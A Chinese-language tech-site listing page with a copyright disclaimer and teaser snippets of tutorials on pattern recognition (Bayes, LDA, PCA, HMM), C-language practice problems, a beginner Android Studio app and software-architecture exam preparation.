版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 2:14:29

手推贝叶斯、LDA与PCA:经典模式识别讲义的代码复现指南

简介&#xff1a;本资源是一份面向人工智能与机器学习初学者及进阶学习者的《模式识别》核心理论教学课件&#xff0c;聚焦隐马尔可夫模型&#xff08;HMM&#xff09;这一关键方法论&#xff0c;系统讲解其数学原理、建模逻辑与典型应用场景。内容涵盖马尔可夫性、齐次马尔科夫…

作者头像 李华
网站建设 2026/10/14 2:14:12

无算法背景C语言刷题:从零拆题到AC的实战记录与避坑指南

刷题这事&#xff0c;最难的不是题目本身&#xff0c;而是“觉得自己不配”。我一开始就是这么想的。没学过算法课&#xff0c;数据结构全靠自学&#xff0c;C语言也只算半个熟手&#xff0c;看到力扣上那些讨论区的神仙解法&#xff0c;第一反应是“这题我也配做&#xff1f;”…

作者头像 李华
网站建设 2026/10/14 2:13:34

Android Studio简易App实例:从环境配置到运行调试完整指南

简介&#xff1a;面向Android初学者的开发入门实例文档&#xff0c;完整演示使用Android Studio从创建空白项目到搭建主页面、关于页面、设置页面的过程。文档逐步讲解新建项目的参数配置、Activity生命周期与onCreate重写、setContentView布局加载方式&#xff0c;以及Prefere…

作者头像 李华
网站建设 2026/10/14 2:12:30

软考架构师核心考点:系统架构设计与质量属性全解析

考过软考架构师的人基本都有同一个感受&#xff1a;上午的选择题里&#xff0c;真正让人头皮发麻的不是计算题&#xff0c;而是那些关于架构风格和质量属性的概念题。明明教材翻了好几遍&#xff0c;一到做题还是会在"性能战术"和"可用性战术"之间反复纠结…

作者头像 李华